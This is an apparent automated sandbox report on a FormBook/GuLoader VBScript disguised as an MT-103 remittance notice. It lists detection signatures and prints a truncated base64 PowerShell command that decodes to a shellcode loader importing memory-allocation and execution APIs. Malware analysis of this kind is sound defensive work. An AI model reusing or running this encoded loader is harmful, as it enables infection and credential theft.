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Windows
Analysis Report
Remittance Information (MT-103).vbs
Overview
General Information
Detection
FormBook GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Detected FormBook malware
VBScript performs obfuscated calls to suspicious functions
System process connects to network (likely due to code injection or exploit)
Sigma detected: Suspect Svchost Activity
Yara detected GuLoader
Found malware configuration
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Tries to steal Mail credentials (via file / registry access)
Maps a DLL or memory area into another process
Tries to detect Any.run
Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Encrypted powershell cmdline option found
Sigma detected: Suspicious Svchost Process
Tries to detect virtualization through RDTSC time measurements
Tries to harvest and steal browser information (history, passwords, etc)
Hides threads from debuggers
Sample uses process hollowing technique
Potential evasive VBS script found (sleep loop)
Writes to foreign memory regions
Potential malicious VBS script found (has network functionality)
Very long command line found
Sigma detected: Suspicious Remote Thread Created
Modifies the prolog of user mode functions (user mode inline hooks)
Queues an APC in another process (thread injection)
Sigma detected: Accessing WinAPI in PowerShell. Code Injection.
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
HTTP GET or POST without a user agent
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Compiles C# or VB.Net code
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Internet Provider seen in connection with other malware
Found potential string decryption / allocating functions
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Contains functionality for execution timing, often used to detect debuggers
Enables debug privileges
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Autorun Keys Modification
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Classification
- System is w10x64
- wscript.exe (PID: 5812 cmdline:
C:\Windows \System32\ wscript.ex e "C:\User s\user\Des ktop\Remit tance Info rmation (M T-103).vbs " MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C) - powershell.exe (PID: 6944 cmdline:
C:\Windows \SysWOW64\ WindowsPow erShell\v1 .0\powersh ell.exe" - EncodedCom mand "IwBB AEkAUgBFAE QAIABTAGUA bgBnAGUAbA BlAGoAIABW AGUAbgBkAG UAdABhADgA IABUAEUASQ BTAFQARQAg AEYAbwBlAG wAZQBsAHMA ZQBzAG0AOQ AgAGEAbgB0 AGkAdAB5AH IAbwAgAFQA SQBMAFMAIA BCAEwARwBG AFIAVQAgAE IAeQBkAGUA ZgA1ACAATQ BpAGwAaQA1 ACAAQQBwAH AAbwBzACAA cwBvAGYAdA BmAG8AbgB0 AGUAdAAgAG EAbABrAG8A IABuAG8Abg BtAGEAcgBr AGUAdAAgAE 0AbwBkAGkA cwAgAE0Abw BpAHMAIABV AG4AdgBlAG kAbABlAGQA IABVAG4AZQ BtAGEAYwAg AGcAYQByAG IAbABlAHMA ZgAgAHQAZQ BlAG4AYQAg AFMASABVAF QAVABMAEUA IAANAAoADQ AKAA0ACgBB AGQAZAAtAF QAeQBwAGUA IAAtAFQAeQ BwAGUARABl AGYAaQBuAG kAdABpAG8A bgAgAEAAIg ANAAoAdQBz AGkAbgBnAC AAUwB5AHMA dABlAG0AOw ANAAoAdQBz AGkAbgBnAC AAUwB5AHMA dABlAG0ALg BSAHUAbgB0 AGkAbQBlAC 4ASQBuAHQA ZQByAG8AcA BTAGUAcgB2 AGkAYwBlAH MAOwANAAoA cAB1AGIAbA BpAGMAIABz AHQAYQB0AG kAYwAgAGMA bABhAHMAcw AgAE8AZgBh AHkAdgBlAD EADQAKAHsA DQAKAFsARA BsAGwASQBt AHAAbwByAH QAKAAiAG4A dABkAGwAbA AuAGQAbABs ACIAKQBdAH AAdQBiAGwA aQBjACAAcw B0AGEAdABp AGMAIABlAH gAdABlAHIA bgAgAGkAbg B0ACAATgB0 AEEAbABsAG 8AYwBhAHQA ZQBWAGkAcg B0AHUAYQBs AE0AZQBtAG 8AcgB5ACgA aQBuAHQAIA BPAGYAYQB5 AHYAZQA2AC wAcgBlAGYA IABJAG4AdA AzADIAIABT AHcAYQB0AD kALABpAG4A dAAgAFIAYQ BzAGsAbwA4 ACwAcgBlAG YAIABJAG4A dAAzADIAIA BPAGYAYQB5 AHYAZQAsAG kAbgB0ACAA TQBlAHQAeg BlAHIAZQBz AHAAZQA5AC wAaQBuAHQA IABPAGYAYQ B5AHYAZQA3 ACkAOwANAA oAWwBEAGwA bABJAG0AcA BvAHIAdAAo ACIAawBlAH IAbgBlAGwA MwAyAC4AZA BsAGwAIgAp AF0AcAB1AG IAbABpAGMA IABzAHQAYQ B0AGkAYwAg AGUAeAB0AG UAcgBuACAA SQBuAHQAUA B0AHIAIABD AHIAZQBhAH QAZQBGAGkA bABlAEEAKA BzAHQAcgBp AG4AZwAgAE IAVQBUAFQA RQBSAE0AQQ AsAHUAaQBu AHQAIABDAG 8AbgB0AHIA YQA2ACwAaQ BuAHQAIAB1 AG4AZAB2AH IAcABpAGUA dABpACwAaQ BuAHQAIABP AGYAYQB5AH YAZQAwACwA aQBuAHQAIA BGAG8AbABk AHkAcwB5AD cALABpAG4A dAAgAE8AYg BvAGUAcgA4 ACwAaQBuAH QAIABCAEwA VQBGAEYAKQ A7AA0ACgBb AEQAbABsAE kAbQBwAG8A cgB0ACgAIg BrAGUAcgBu AGUAbAAzAD IALgBkAGwA bAAiACkAXQ BwAHUAYgBs AGkAYwAgAH MAdABhAHQA aQBjACAAZQ B4AHQAZQBy AG4AIABpAG 4AdAAgAFIA ZQBhAGQARg BpAGwAZQAo AGkAbgB0AC AAUgBhAHMA awBvADgAMA AsAHUAaQBu AHQAIABSAG EAcwBrAG8A OAAxACwASQ BuAHQAUAB0 AHIAIABSAG EAcwBrAG8A OAAyACwAcg BlAGYAIABJ AG4AdAAzAD IAIABSAGEA cwBrAG8AOA AzACwAaQBu AHQAIABSAG EAcwBrAG8A OAA0ACkAOw ANAAoAWwBE AGwAbABJAG 0AcABvAHIA dAAoACIAdQ BzAGUAcgAz ADIALgBkAG wAbAAiACkA XQBwAHUAYg BsAGkAYwAg AHMAdABhAH QAaQBjACAA ZQB4AHQAZQ ByAG4AIABJ AG4AdABQAH QAcgAgAEMA YQBsAGwAVw BpAG4AZABv AHcAUAByAG 8AYwBXACgA SQBuAHQAUA B0AHIAIABS AGEAcwBrAG 8AOAA1ACwA aQBuAHQAIA BSAGEAcwBr AG8AOAA2AC wAaQBuAHQA IABSAGEAcw BrAG8AOAA3 ACwAaQBuAH QAIABSAGEA cwBrAG8AOA A4ACwAaQBu AHQAIABSAG EAcwBrAG8A OAA5ACkAOw ANAAoAfQAN AAoAIgBAAA 0ACgAjAEgA dQB0AHUANw AgAGcAYQBy AGEAbgAgAG QAeQBzAGMA aAAgAFUATg